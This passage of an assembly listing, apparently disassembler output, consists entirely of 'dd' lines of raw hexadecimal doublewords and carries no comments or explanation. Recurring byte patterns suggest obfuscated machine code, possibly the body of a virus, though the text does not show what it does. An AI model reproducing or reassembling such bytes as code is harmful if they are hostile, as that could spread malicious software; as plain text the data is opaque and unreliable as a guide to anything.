		dd 441EC350h, 9F34A7E2h, 6057C44Bh, 1D2D9D29h, 5E560644h
		dd 8D095B61h, 64428D9h,	890001C6h, 4402EDB5h, 6A6006h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 0E6E444C3h, 9C02C26Dh, 4E8h,	8000h, 0E9525000h, 13h
		dd 0A851E150h, 0CE45AABCh, 0AE5E1016h, 5B13068Dh, 0FDEFDA2h
		dd 5AF98A31h, 66605058h, 0F88BFA8Bh, 24448B61h,	2860F04h
		dd 0B2000000h, 0E8008B0Eh, 6, 0DFB7C948h, 0B0B3954Dh, 2444895Ah
		dd 5E904h, 70110000h, 58B55AA6h, 0E857006Ah, 3,	5FC35F20h
		dd 4247C89h, 4244481h, 17h, 45C35747h, 0E8AAC363h, 7, 90E48ECBh
		dd 804716EFh, 0BA5AB9E3h, 5981277Dh, 0FE9h, 507F2700h
		dd 2B346328h, 0D06D1CCEh, 0FEA5E459h, 14E8FF6Ah, 0DA000000h
		dd 0CD9C95D3h, 25C6D135h, 59637B06h, 0A7280485h, 890B651Ah
		dd 441D119Dh, 95FF5B06h, 6443015h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 3C35343h, 927DC0C7h, 0FFFE8A61h
		dd 4416AD95h, 759D8B06h, 8B06442Bh, 444DB38Dh, 8E806h
		dd 0AF2B0000h, 276170E2h, 9D299C5Ch, 6442BBDh, 6601FE5Bh
		dd 83657DBAh, 440331BDh, 850F0106h, 6, 13A58529h, 0C08B0644h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0D4C35646h
		dd 257EB556h, 126CBB66h, 20CDBD83h, 75000644h, 25BD8309h
		dd 6440Bh, 53501A74h, 858BC08Bh, 64402F5h, 2F58589h, 9D8D0644h
		dd 646A84Fh, 585BD3FFh,	0B25BD83h, 74000644h, 8B535018h
		dd 4402F585h, 0F5858906h, 8D064402h, 46A53E9Dh,	5BD3FF06h
		dd 0C9816058h, 0CD63B8Ah, 10870Fh, 0BE90000h, 0DD000000h
		dd 0FB34338Dh, 373BB1Fh, 6A6120ECh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0FF9AC353h
		dd 0D134913Ah, 8BE7A637h, 699533C0h, 89064424h,	4426259Dh
		dd 0B5BD8306h, 64409h, 2A850Fh,	8D890000h, 6441655h, 8F1BD83h
		dd 0F000644h, 1784h, 0BE800h, 74DB0000h, 0B6057ADAh, 1F8CDD9Fh
		dd 0C19D8B02h, 5A06442Ah, 9B5BD83h, 0F000644h, 1784h, 0E19D8900h
		dd 8306440Ch, 441615BDh, 840F0006h, 4, 0DA8B66F9h, 9B5BD83h
		dd 0F000644h, 1884h, 0F9950100h, 8306441Eh, 441615BDh
		dd 840F0006h, 5, 2CFAD4BAh, 0B5BD830Dh,	64409h,	43840Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 156801C3h, 0BE97E12h, 3B000000h, 0CC9A6FBBh
		dd 0EF6614F5h, 0BD83470Ch, 644103Dh, 6840F00h, 29000000h
		dd 440DC985h, 0B5BD8306h, 64409h, 4A840Fh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 23345BC3h, 810FFC4Bh, 0
		dd 2191958Bh, 0BD830644h, 64432F9h, 11840F00h, 29000000h
		dd 4430FD95h, 2995FF06h, 66064416h, 0F99D97BBh,	8166C08Bh
		dd 835DD8E3h, 4420CDBDh, 9750006h, 0B25BD83h, 74000644h
		dd 8B53501Ah, 29858BC0h, 89064422h, 44222985h, 0B69D8D06h
		dd 0FF0646A8h, 83585BD3h, 440B25BDh, 18740006h,	858B5350h
		dd 6442229h, 22298589h,	9D8D0644h, 646A557h, 585BD3FFh
		dd 8CCB8166h, 819D8B7Bh, 8906440Dh, 441B0D95h, 89C08B06h
		dd 441EB585h, 0B5BD8306h, 64409h, 520840Fh, 9D330000h
		dd 6441AC9h, 2DADBD01h,	0BD830644h, 6441879h, 4D840F02h
		dd 66000000h, 9CF4CB81h, 0AE9h,	9AAE9500h, 0C04D20C5h
		dd 836F0043h, 44176DBDh, 850F0106h, 2Ch, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 18h, 71C35343h, 0C7D70689h
		dd 2AC99D8Bh, 9D8B0644h, 6442C81h, 9D9BD83h, 0F000644h
		dd 0EF84h, 0BD958900h, 6006440Fh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 61C35646h, 2992DB24h, 4429498Dh
		dd 39BD0906h, 8B064422h, 444DB38Dh, 11BD8906h, 0FE06440Bh
		dd 55006A01h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 9FBD6CE0h, 148B0F5Ah, 0E9000000h, 0Fh, 0ED56FCBBh
		dd 1F7B9223h, 0EA82423Bh, 8B1EE9C2h, 44183D9Dh,	7C7D6806h
		dd 0BBBB5DE9h, 8159F673h, 7CFD2434h, 6A5DE9h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 7491FAC3h
		dd 0A10D2248h, 66605A03h, 0DE8AD98Bh, 952BFF6Ah, 6440D11h
		dd 301595FFh, 6A0644h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 7EB6DFC3h, 61BDCE80h, 90E4BA66h
		dd 0D9B50160h, 8B06441Ch, 444DB38Dh, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 0F801FEBDh
		dd 0ED681AB6h, 0E89433FFh, 0Dh,	0E7053599h, 0E9F1E276h
		dd 0DCEADCA3h, 0D98B66A3h, 2404815Ah, 6BCC0093h, 0E21BD89h
		dd 0FF6A0644h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 14h,	5FC35343h, 29D68B66h, 441A21B5h, 1595FF06h, 6A064430h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 0AC97C357h, 0E9D02C8Dh, 6, 0A7C3038h, 0F48AFB42h
		dd 67FDBA61h, 0BD8D6DA5h, 64415A1h, 11E8h, 0EB05E100h
		dd 0D3131E94h, 6B84F43Ch, 0BB227627h, 958B9C14h, 64431A5h
		dd 0D98B665Ah, 311C4F8Bh, 4407CDBDh, 57016A06h,	0EA8EBA66h
		dd 0CDB2915Bh, 8D899150h, 6441565h, 1DE1BD29h, 858D0644h
		dd 647336Ah, 30E99D89h,	0D0FF0644h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 35C35545h, 11958B63h, 8B06440Ch
		dd 6A204Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 1419FBC3h, 1B0D9D8Bh, 36A0644h, 319D8B53h
		dd 5A06441Ch, 0F505150h, 80h, 895A5A00h, 8589240Ch, 6441955h
		dd 336A858Dh, 6A0647h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 0FE74EFC3h, 0B2F629A4h, 880F6BC3h
		dd 3, 0FFD8BF0Fh, 8DD68BD0h, 4415A1BDh,	50006A06h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h
		dd 35958B42h, 8B064414h, 6A1C4Fh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 729A7C3h, 0A102B943h
		dd 959589AAh, 6A06440Dh, 55006A01h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 11F0D00Eh, 7D8A4060h
		dd 2BF59533h, 89500644h, 6A240Ch, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 0B6E833C3h, 0E48CF4C4h
		dd 65D380EEh, 336A858Dh, 958B0647h, 64406F1h, 0FA98D89h
		dd 0D0FF0644h, 2CE2BA66h, 81204F8Bh, 0E4F6C4C3h, 0E9036A5Fh
		dd 6, 0BE774AD3h, 0E991966Eh, 0Bh, 19D812B7h, 0F4EBA5BBh
		dd 5055A565h, 3E2EBA66h, 50006A91h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 91EBF02Ah, 12E91Bh, 0B3060000h
		dd 0F1BC65D5h, 0D56564A3h, 0F88AED87h, 23AC8D2Ch, 418D8956h
		dd 5A06442Ah, 336A858Dh, 0B5290647h, 6443185h, 0FF18B60h
		dd 0FF61D2B7h, 52006AD0h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 36F8A49Fh, 0FBEFAB85h
		dd 15099D29h, 8D8B0644h, 6444DB3h, 753BA5BAh, 0FEF18A2Ah
		dd 0BDBD0101h, 8B064430h, 444DB385h, 0BE906h, 6EB50000h
		dd 896510E3h, 0CCF514F2h, 0E800FEDEh, 0Fh, 39D258EEh, 9DB663A2h
		dd 4C9AEF64h, 66F334ABh, 9725DA81h, 66016A5Ah, 8F68D78Bh
		dd 0E9FF2FB3h, 0Fh, 0B05A33EBh,	0F37EDB90h, 0C7F7F2AAh
		dd 81F0B7C4h, 0EC702404h, 6A00CFh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 4CD64CC3h, 0F61A0EA7h
		dd 666E6BADh, 858DD98Bh, 6473374h, 0D0FF17B3h, 28F0F56h
		dd 8B000000h, 0BD835AD7h, 64408F1h, 0F8840F00h,	0E9000000h
		dd 11h,	3A125976h, 0A2DFE6B6h, 0F2378D19h, 317A2EA2h, 0AD95895Fh
		dd 8306442Dh, 442F11BDh, 850F0106h, 0CFh, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 15h, 33C35040h, 69B5299Ah
		dd 8D064421h, 47337E8Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 36AF33Ah, 28C9958Bh, 16A0644h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 1AC35747h
		dd 11E983h, 0B1ED0000h,	85CE3219h, 0FD8CFBF3h, 918B5298h
		dd 816B7DBBh, 450DB4C3h, 8BD1FF06h, 6A016AD7h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 0F157C352h, 0D8A4FF44h, 0BA172B6Bh, 699193DDh, 9589016Ah
		dd 6442D05h, 0D18BD1FFh, 175BD5E8h, 918D89FAh, 6A064409h
		dd 55006A20h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 73E03115h, 0CBD8531h, 70B70644h,	2625958Bh
		dd 0FF6A0644h, 32119D8Bh, 95FF0644h, 6443015h, 0CE9h, 0C67BBB00h
		dd 17A9EBFh, 0E17BEC6Ch, 0B88Ah, 0BE90000h, 0CE000000h
		dd 99729561h, 9459A0AFh, 0C00B8464h, 2F840Fh, 0BD890000h
		dd 6441C95h, 1825BD83h,	0F000644h, 1C84h, 0E840F00h, 60000000h
		dd 2245BD8Bh, 9D290644h, 6441EB5h, 9D95FF61h, 8B064431h
		dd 91858BD7h, 8B064415h, 0C6DFh, 969958Bh, 8F0F0644h, 6
		dd 33A19D8Bh, 6A580644h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 1D34C356h, 6E9h, 32A04200h
		dd 0E996C3AFh, 9, 0E86986E5h, 4FB4969Ch, 3D958B28h, 6606440Ch
		dd 9D89D98Ch, 64424EDh,	0F04C1F6h, 6B84h, 8B66F800h, 62E9D3h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 0BD501AC3h, 0D1C1DF1Bh, 9795BA66h, 41DB58Bh
		dd 6E90644h
		dd 0DE000000h, 33AB2903h, 80C6819Ah, 80000011h,	6C790DAh
		dd 0
		dd 13E8h, 0AA509100h, 0B05E9A11h, 18B6E4D4h, 714E27B3h
		dd 0E5012553h, 5BDE8B66h, 0F8835Eh, 0B67840Fh, 810F0000h
		dd 6, 9D01F381h, 0F8835C31h, 6C850F01h,	6A000001h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 0B837C352h, 0
		dd 2C15958Bh, 0C00B0644h, 0C1840Fh, 0D18B0000h,	0F01F883h
		dd 10084h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 0DA75EDE8h, 8A58AA11h, 4800FD5h
		dd 51000000h, 835B46B6h, 840F03F8h, 38h, 68D0Fh, 95330000h
		dd 64424C1h, 0B8h, 8DDE8B00h, 5B7974BDh, 0FFD38B00h, 0EE8E7h
		dd 87FE0000h, 1A8E298Ch, 139D9F76h, 1BA20158h, 1820Fh
		dd 5BF90000h, 1B8h, 0DE800h, 602E0000h,	0BA3A0E87h, 7235747Ch
		dd 0FDB1B79h, 68Fh, 0F5BD8900h,	5A064419h, 7974BD8Dh, 14E9005Bh
		dd 39000000h, 0B77F2485h, 54503BC5h, 0D8BE598Ah, 0FEE6E775h
		dd 0FF355A26h, 8DDE8BE7h, 44443FBDh, 7E9F506h, 6A000003h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 9DB6C356h, 4C9AEF64h, 7E934ABh, 0EA000000h
		dd 5BDC0282h, 0AE953E5h, 0CB000000h, 3B535FBBh,	8F6331D6h
		dd 0E85C786h, 506444Eh,	1000000h, 441E619Dh, 5B806h, 0F600000h
		dd 687h, 2DBD8B00h, 66064425h, 61CC8FB8h, 978E9h, 5D9D8B00h
		dd 83064417h, 850F02F8h, 0FBh, 0C1D9509h, 0B80644h, 29000000h
		dd 442F95BDh, 10E906h, 28B30000h, 53CEF88Ch, 96C8FFF8h
		dd 0D9DF23E8h, 0C00B1A6Bh, 8F840Fh, 0CE80000h, 0EB000000h
		dd 35782B3Eh, 0A9C7421Eh, 8BFE49B0h, 4420299Dh,	0F8835B06h
		dd 76840F01h, 80FFFFFFh, 0F88304DFh, 0D9840F03h, 6AFFFFFEh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 0B68EC351h, 60E68112h, 9E9h, 84D87700h, 3E5E600Fh
		dd 0B589CC20h, 6440349h, 0B8h, 8DDA8A00h, 5B7974BDh, 0AE800h
		dd 41D90000h, 0B3515A7Ah, 0DFD4D92Eh, 0FF5BD78Bh, 4D958BE7h
		dd 89064402h, 44165995h, 37BD8D06h, 29064446h, 4407B995h
		dd 1C0E906h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 0CD7CA9C3h, 8BFC6515h, 44258995h
		dd 0A58D8906h, 8306442Bh, 850F03F8h, 25h, 0BD8DD08Bh, 64447CBh
		dd 5054E281h, 9D8B5F26h, 64424B5h, 171E9h, 6850F00h, 31000000h
		dd 442A15BDh, 5F88306h,	2E850Fh, 12E90000h, 0F7000000h
		dd 0A71312A8h, 77E5B71Fh, 0D8EB2943h, 2B9D2798h, 81BE9D1h
		dd 0DE90000h, 6B000000h, 0DA0239Bh, 0CD3F69A7h,	338DDDA6h
		dd 0F06F883h, 0A085h, 0EE900h, 61A60000h, 81FA897Dh, 2725613Eh
		dd 2EFDB280h, 49C3BD8Dh, 6A0644h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 0E83F34C3h, 8, 0AE77BAD7h
		dd 0BCB2D9A4h, 109D9D8Bh, 0F5B0644h, 0D3E9DBB7h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 0AEE6C352h, 0C8144765h, 809F8395h, 6E960h
		dd 0B5400000h, 0F6F9B438h, 7918523h, 60610644h,	9E9h, 0E0EE0200h
		dd 0DE0F4216h, 0BD012EA1h, 6441F55h, 7F88361h, 13850Fh
		dd 9D8B0000h, 6442609h,	471BD8Dh, 0E0B30644h, 150E9h, 0AF88300h
		dd 60850Fh, 9D330000h, 644220Dh, 4BBBBD8Dh, 6A0644h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 0E4465FC3h, 6396C5C8h, 8589CF0Ah, 6441021h, 23E9D78Bh
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 0ABF7C352h, 80C670F1h,	335769EFh
		dd 441C759Dh, 6914B906h, 6A571Eh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 838359C3h, 8956A42Dh
		dd 4406A5B5h, 65BD8906h, 0E9064416h, 0Fh, 7E824E26h, 9D141AD4h
		dd 0C571088Ah, 8301D935h, 840F003Fh, 78h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 18h, 86C35646h, 9E05D2ACh
		dd 2BC59531h, 8D090644h, 64419D1h, 5A500F30h, 6A47C9D1h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 0B7DAC350h, 0C8C40A36h, 8C30A825h, 81BD2960h
		dd 8B06440Dh, 442FE18Dh, 89F86106h, 442DADB5h, 0FF85E906h
		dd 958BFFFFh, 6442609h,	0EE8505Fh, 0FE000000h, 0F07563F7h
		dd 7305B94Ch, 20426125h, 5A5B53E0h, 0B7BD895Ah,	6A06444Dh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 2936C351h, 44152DB5h, 298D8D06h, 6A06441Bh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 0E971C356h, 0E9892E23h, 12h, 78AFE186h, 93FA93A9h
		dd 0BFD2AE1Dh, 0F9B5030Ah, 0B5FFBA95h, 64420E1h, 0A173858Dh
		dd 8D500646h, 44547ABDh, 0BC8D8D06h, 0B8064470h, 54831ABCh
		dd 730CF2Bh, 4947C8D0h,	0B58DF875h, 644701Eh, 70D48D8Dh
		dd 0CF2B0644h, 0C933A4F3h, 0B8h, 74C00B00h, 25BD8346h
		dd 64418h, 95FF0674h, 644319Dh,	4DB7B58Bh, 858D0644h, 646A173h
		dd 858DD0FFh, 644421Dh,	85C7D0FFh, 64413C1h, 1,	929A58Bh
		dd 0B58B0644h, 6442BB5h, 1A91AD8Bh, 0C0330644h,	6A000CC2h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 6090C352h, 6718533h, 66610644h, 0BD83D08Bh
		dd 64424E5h, 11840F00h,	89000000h, 440E459Dh, 0C995FF06h
		dd 66064413h, 0F151E281h, 1BE9BD83h, 0F000644h,	19585h
		dd 83E0B600h, 442F11BDh, 850F0106h, 186h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 18h, 3FC35141h, 9BF0FA9Eh
		dd 22A5B529h, 0BD830644h, 6440E11h, 53840F00h, 8B000001h
		dd 0ABD83D3h, 6444Eh, 144840Fh,	0B70F0000h, 0D28166D1h
		dd 858DA171h, 646A173h,	0C1B70F60h, 8B61E4B3h, 444DB7B5h
		dd 618D0106h, 0FF064402h, 53006AD0h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 0E985C6A3h
		dd 54064402h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 18h,	0C9C35747h, 0E212510Bh,	2F898D89h, 49680644h, 0FE937BBh
		dd 2089h, 0E8525000h, 12h, 3EDF125Ch, 7E7AED37h, 0E5B96C9Ch
		dd 3B2F11D9h, 0F5BA832h, 5AD08B31h, 24348158h, 167905BDh
		dd 4D7446BBh, 9CE3805Dh, 2D7DB5FFh, 8BA0644h, 8B4201D0h
		dd 441E099Dh, 65858D06h, 6606443Ah, 0FF37B5BBh,	5880FD0h
		dd 0BA000000h, 4DBB7BD1h, 8B66006Ah, 29FF6AD3h,	440035B5h
		dd 6AD0FF06h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 1D36C350h, 0F30D813h, 0B5FFDFBFh
		dd 6441B09h, 7E9h, 86A21A00h, 0DD4E9BA8h, 20E195FFh, 6A0644h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 0C0FE78C3h, 0C0F9464Ah, 5E9h, 4FDCB600h, 0B58BA1E0h
		dd 6444DB7h, 0C0BF0F60h, 0C361C28Bh, 14E8h, 5556B400h
		dd 7D8BDE19h, 5F9F683Bh, 55DA7197h, 0CD665275h,	799503E7h
		dd 5A06442Ch, 1591B58Bh, 958B0644h, 6442CA9h, 840FF60Bh
		dd 0Eh,	1FAD9D8Bh, 0D98B0644h, 0F0006C6h, 8589D9B7h, 6444DBFh
		dd 28D0Fh, 0DF8B0000h, 0F00F883h
		dd 32C84h, 7E900h, 211C0000h, 4FED4B2h,	0B8ABh,	0FE90000h
		dd 0C000000h, 0DFA61F50h, 9169F162h, 9ADA1409h,	958B0049h
		dd 64408D5h, 0F00F883h,	0E684h,	12E800h, 68130000h, 694EAFC7h
		dd 9EAD3BE0h, 25BD2258h, 8A1AAA4Bh, 22699D89h, 835A0644h
		dd 850F02F8h, 7Eh, 65B9F381h, 858D3E2Bh, 644443Ah, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0E6C35242h, 0CDF7182Ah
		dd 2D14D9EEh, 929h, 68E0Fh, 95330000h, 6440D75h, 10E890h
		dd 2FE30000h, 5870A39Dh, 5B62D9B4h, 0ECE5CA33h,	60600922h
		dd 615A5161h, 10E9505Bh, 38000000h, 0F0C21B7Ah,	7D309FB3h
		dd 0BAE18B82h, 90CD5DD1h, 0C3D0B70Fh, 22699D89h, 0B80644h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 95C1C355h, 0D11834D2h,	0C2866C13h
		dd 30B1B529h, 1EE90644h, 89000002h, 441F3D85h, 158D2906h
		dd 0B806440Ch, 1, 31459503h, 0BD8D0644h, 644443Fh, 0E9DAB70Fh
		dd 0C6h, 0C274BB66h, 0F02F883h,	4985h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
		dd 13C8526Fh, 0EF2F45D5h, 8B6079FFh, 443111B5h,	9D236106h
		dd 6442C79h, 4637BD8Dh,	8D0F0644h, 2, 73E9FD8Ah, 80000000h
		dd 0F883FCC6h, 1E850F03h, 0E8000000h, 5, 12647A53h, 0D6BB6617h
		dd 0BD8D5A28h, 64447CBh, 4BE9DF8Bh, 8B000000h, 5F883D7h
		dd 40850Fh, 8C0F0000h, 6, 1C85B509h, 0EEE90644h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 1B35C356h, 499F02D7h, 0C745FD53h,	2CF19D23h
		dd 0BA660644h, 8B573B1Bh, 4407A195h, 6914B906h,	9D8B571Eh
		dd 6441551h, 0F003F83h,	0A484h,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 6F578C15h
		dd 8BDB1386h, 442C4D9Dh, 6A0F3006h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 3066C356h
		dd 29DCF81Ah, 0C9D1317Eh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 19h, 48C35343h, 55C73EEFh,	0E9F547D0h, 0FFFFFF80h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 7DC35040h
		dd 9FDC2628h, 840F7AA3h, 5, 12EB8166h, 5F88336h, 6B850Fh
		dd 9E90000h, 57000000h,	0BBA91057h, 4D074315h, 0AEA8EA81h
		dd 8C6674E6h, 0D28166D9h, 0C1F63700h, 34850F04h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 0EC1EC351h, 31C4B9ADh, 81661661h,	0B8F126D3h
		dd 0
		dd 12E9FD8Ah, 8B000000h, 44160D85h, 0D68B5306h,	8BE0FF5Ah
		dd 441F5995h, 0E1BD8306h, 64420h, 0D8850Fh, 0F9510000h
		dd 5830F5Bh, 66000000h,	8748E281h, 88A0F50h, 50000000h
		dd 60310F52h, 89585A61h, 0F6802404h, 85C6F9B8h,	64402E9h
		dd 51006A45h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 0FD9D0B2Ch, 6806441Bh, 92F2A14Fh, 7E95653h
		dd 7D000000h, 189CEA1Ch, 5A5AF3A9h, 26243481h, 8B1C80C8h
		dd 441C0595h, 7DB5FF06h, 0F906442Dh, 3A65858Dh,	6A0644h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 9BEEDFC3h, 0BB66F604h, 0D0FF4A12h, 0CECB8166h, 0E18589EDh
		dd 66064420h, 0DFC7C281h, 53006A58h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 8002FEAAh
		dd 7F02F7C7h, 0BD8333C5h, 6444E0Eh, 56840F00h, 0E8000000h
		dd 0Dh,	0A1E3756Ch, 2B4359F9h, 94A3210Fh, 28C0F36h, 53000000h
		dd 0B5FF5B5Bh, 6441B09h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 1Bh, 0C3C35040h, 56F7FB0Ch, 8BC87D46h, 441E0595h
		dd 0E195FF06h, 81064420h, 7F4C1AE2h, 0F8835Bh, 84850Fh
		dd 958B0000h, 6442AADh,	2C49BD83h, 0F000644h, 3384h, 1D958B00h
		dd 0FF064416h, 442C49B5h, 6860F06h, 3000000h, 440D8195h
		dd 0FBBB6606h, 1B849h, 840F0000h, 1, 25FE9F8h, 0BF0F0000h
		dd 0C8E780DEh, 1B09B5FFh, 9D8B0644h, 6441919h, 1B09B5FFh
		dd 8E90644h, 35000000h,	32B12447h, 0FF02AC16h, 4420E1B5h
		dd 0C99D8B06h, 0E9064408h, 229h, 9E9h, 6E639A00h, 1DCB07E1h
		dd 6A5F13D6h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 3291C356h, 3C5E6EB6h, 8B52BD51h
		dd 4433B19Dh, 5DBD8306h, 64403h, 114850Fh, 0CA810000h
		dd 2BA8E074h, 2E985C6h,	6A4D0644h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0CE8BC355h
		dd 847790BCh, 3D44BFCCh, 9E9h, 7A634600h, 5E53D14h, 9D8BFCD7h
		dd 64424C1h, 4E8h, 3576A800h, 50D38BA4h, 830F5250h, 6
		dd 310F5250h, 310F585Ah, 5A616050h, 448B585Ah, 8B660424h
		dd 60008BD6h, 0FCB8B66h, 680h, 880F00h,	61000000h, 4244489h
		dd 0D6BB5250h, 0F7C947Eh, 58585A31h, 2800Fh, 32B70000h
		dd 0E25B5FFh, 858D0644h, 6443A65h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 0C4C35242h,	80364DE6h, 0CEDB8166h
		dd 80D0FF1Dh, 8589A2F3h, 644035Dh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 23C35040h, 0AC1E37D9h, 0AAFF8A4Ah
		dd 68C0F56h, 8B000000h,	44214995h, 860F5A06h, 6, 24199D89h
		dd 0B80644h, 66000000h,	89BA72BAh, 444DB7BDh, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 0C8478940h, 0A0B2C4Eh, 20BA5887h, 0B752E5Ch,	3B840FC0h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 0FB1CC355h, 68B0F67h, 8B000000h
		dd 4431419Dh, 5FE906h, 7E90000h, 0A2000000h, 68FD1C3Eh
		dd 0B5FF5201h, 64420E1h, 12C2BB66h, 14E9h, 0CB209300h
		dd 4FE862B4h, 255B1C1Ch, 0B55F899h, 0AD11679Dh,	73858D8Ch
		dd 8B0646A1h, 442AB595h, 8D0F9006h, 0
		dd 0F47BB50h, 0E990474Bh, 11h, 5C865EF8h, 0DBA75CDh, 0A72F4D29h
		dd 4D570A3Bh, 8D56509Dh, 44547ABDh, 0A48D8D06h,	0B806447Ah
		dd 748323BCh, 730CF2Bh,	4947C8D0h, 585EF875h, 2C49BD83h
		dd 74000644h, 0C58D8B06h, 3306441Ch, 0B8C9h, 0C00B0000h
		dd 99840Fh, 0BD830000h,	6441825h, 0FF067400h, 44319D95h
		dd 0B806h, 0C00B0000h, 0BD830975h, 6444DBFh, 83097401h
		dd 444DBFBDh, 0E750206h, 4DB7B58Bh, 858D0644h, 646A173h
		dd 858DD0FFh, 644421Dh,	0BD83D0FFh, 6441879h, 8B2F7502h
		dd 440929A5h, 49858B06h, 8906442Ch, 85C72404h, 64413C1h
		dd 1, 4DBBB58Bh, 0AD8B0644h, 6441A91h, 1B8h, 0CC200h, 85C700EBh
		dd 64413C1h, 1,	929A58Bh, 0B58B0644h, 6442BB5h,	1A91AD8Bh
		dd 0C0330644h, 83000CC2h, 4424E5BDh, 0F740006h,	13C9BD83h
		dd 74000644h, 0C995FF06h, 8B064413h, 444DB7B5h,	9D89C306h
		dd 6440DF1h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 15h,	43C35646h, 0D99D2357h, 2B06441Ah, 0D993BBD2h
		db 84h,	66h
; ---------------------------------------------------------------------------
